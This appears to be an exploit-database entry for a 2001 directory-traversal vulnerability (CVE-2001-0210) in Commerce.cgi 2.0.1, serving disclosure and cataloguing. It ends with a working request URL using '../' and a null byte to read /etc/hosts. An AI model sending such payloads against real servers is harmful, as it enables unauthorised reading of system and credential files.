carey internets services commerce.cgi 2.0.1 - Directory Traversal

Author: slipy
type: remote
platform: cgi
port: 
date_added: 2001-02-12
date_updated: 2012-08-18
verified: 1
codes: CVE-2001-0210;OSVDB-508
tags: 
aliases: 
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application_url: 

source: https://www.securityfocus.com/bid/2361/info

It is possible for a remote user to gain read access to directories and files outside the root directory of Carey Internet Services Commerce.cgi. Requesting a specially crafted URL composed of '/../%00' along with the known filename or directory will disclose the requested resource.

http://target/cgi/commerce.cgipage=../../../../etc/hosts%00filename.html